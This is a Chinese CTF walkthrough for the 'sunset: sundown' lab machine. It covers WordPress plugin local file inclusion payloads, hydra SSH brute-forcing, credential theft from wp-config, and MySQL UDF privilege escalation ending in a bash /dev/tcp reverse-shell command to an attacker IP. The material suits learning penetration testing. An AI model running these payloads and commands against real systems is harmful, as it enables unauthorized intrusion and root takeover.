总结:该靶机是一个wordpress 管理系统,需要信息收集得到插件信息 ,然后搜索插件漏洞 ,得到一个文件包含exp ,利用其得到一个普通用户,利用hydra爆破 密码然后ssh连接,信息收集得到一个数据库配置信息,普通命令无法查看,需要利用文件包含查看,最后利用账号密码登录mysql ,然后利用UDF提权 拿到root权限
一、靶机搭建
选择打开选项

选中下载的ova文件,然后导入选择一个存放路径即可

二、信息收集
官方信息
php
Name: sunset: sundown
Date release: 4 Aug 2020
难度:初级/中级
扫ip
靶机ip:192.168.108.155

扫开放端口和服务信息
开启了22和80端口

指纹探测
执行以下命令
php
nmap 192.168.108.155 -p 22,80 -sV -sC -O --version-all
拿到了一些服务信息

目录扫描
dirsearch 扫描,可以得到很多目录,dirb扫描结果也是一样

收集一下可用信息:
php
http://192.168.108.155/robots.txt
http://192.168.108.155/wp-config.php
http://192.168.108.155/wp-admin
http://192.168.108.155/wp-content/uploads/
http://192.168.108.155/wp-includes/
http://192.168.108.155/wp-cron.php
http://192.168.108.155/wp-login.php
三、Web渗透
信息收集
打开网页,有一个搜索框,但是没有什么用,

看看网站指纹信息,发现WordPress 5.4.2

访问robots.txt,发现两个目录

看到这里想起来之前刷的DC-6 靶机,也是这个框架,账户位admin

看看另一个目录,没有什么信息

访问之前扫描出来的文件上传,可能存在文件上传漏洞

访问includes文件有很多文件,但是都无法打开

看看cron文件

搜索历史漏洞

输入admin看看,账户正确,但是密码不对

框架插件漏洞利用
利用wpscan爆破,但是时间太久了,放弃
php
wpscan --url http://192.168.108.155 --usernames admin -P /usr/share/wordlists/rockyou.txt

看看插件信息,这里提醒一下,靶机遇到wordpress框架的,可以先查看框架的插件信息,多数存在漏洞
php
wpscan --url http://192.168.108.155 --enumerate p,t
拿到插件信息

搜索历史漏洞,下载下来

查看该文件得到以下信息,是文件包含漏洞
php
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

漏洞代码
php
if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']); #这就很明显是文件包含了
利用代码访问,发现一个有bash权限的carlos用户

利用hydra爆破密码,密码就是用户名
php
hydra -l carlos -P /usr/share/wordlists/rockyou.txt ssh://192.168.108.155

ssh连接,成功登录

四、提权
信息收集
先找找可用信息

没啥用的密文

进入**/home**目录看看

进入网站源码存放目录查看,因为这是一个框架程序,所以其源码 一般在网站源码下,发现配置文件信息

利用命令查看,发现权限不足,看来行不通了

想到之前的文件包含漏洞,利用该路径访问试试
php
http://192.168.108.155//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/html/wordpress/wp-config.php
成功访问,但是代码太乱了,打开源码查看,发现数据库账号密码

账户:root 密码:VjFSQ2IyRnNUak5pZWpCTENnPT0K
php
mysql -u root -p
成功登录

查看数据库,但是没有什么可用信息,应该需要使用UDF提权,mysql特有的一种提权方式

UDF提权
先看看版本是64位还是32位,这决定你使用的udf文件带64还是不带64

是64位后再查看secure_file_priv 是否为空,因为这决定了mysql会不会对导入导出做限制
php
show global variables like 'secure%';
没有回显

看看具体信息,可以提权
-
secure_file_priv 的值为 NULL ,表示不允许导入导出,无法提权
-
secure_file_priv 的值为 /tmp/ ,表示导入导出只能在 /tmp/ 目录下,无法提权
-
secure_file_priv 的值为空,表示不对导入导出做限制,此时可提权
若mysql版本**>=5.1** 时,上传udf 位置需要在mysql\lib\plugin 里,通过show variables like "%plugin%" 来查看(若没有则新建一个),小于的话则不需要,可以看到是大于5.1的

查看路径
php
show variables like '%plugin%';
路径:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

得知以上的利用信息都允许情况下,就开始提权操作了,kali到/usr/share/metasploit-framework/data/exploits/mysql 这个目录中复制64位的udf 文件到本地(若是windows则用.dll 文件,linux就用.so文件,根据是32位还是64位来选取不同文件)

开启web服务传输文件

成功上传

返回靶机,进入**/tmp**目录下

然后回到数据库执行下面的命令,看看mysql数据库下的数据表信息

执行下面的命令
php
create table shell(line blob); # 需要为blob,因为是二进制对象存储容器,存储下面load_file的返回值
insert into shell values(load_file('/tmp/lib_mysqludf_sys_64.so')); # 插入并存储load_file的返回值

写入文件并创建函数,以此来反弹shell(这里的bash一定要加-c参数,否则只有bash -i会报错)
php
select * from shell into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys_64.so'; # 将/tmp/udf文件写入到plugin里
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; # 创建函数于udf文件中加载
select sys_exec('bash -c "bash -i >& /dev/tcp/192.168.108.130/4444 0>&1"'); # 调用函数执行反弹shell

开启监听端口并执行,成功反弹shell

flag
在sundown用户 目录下发现flag

值:510252fabb4b7e7dddd7373b7b3da3e8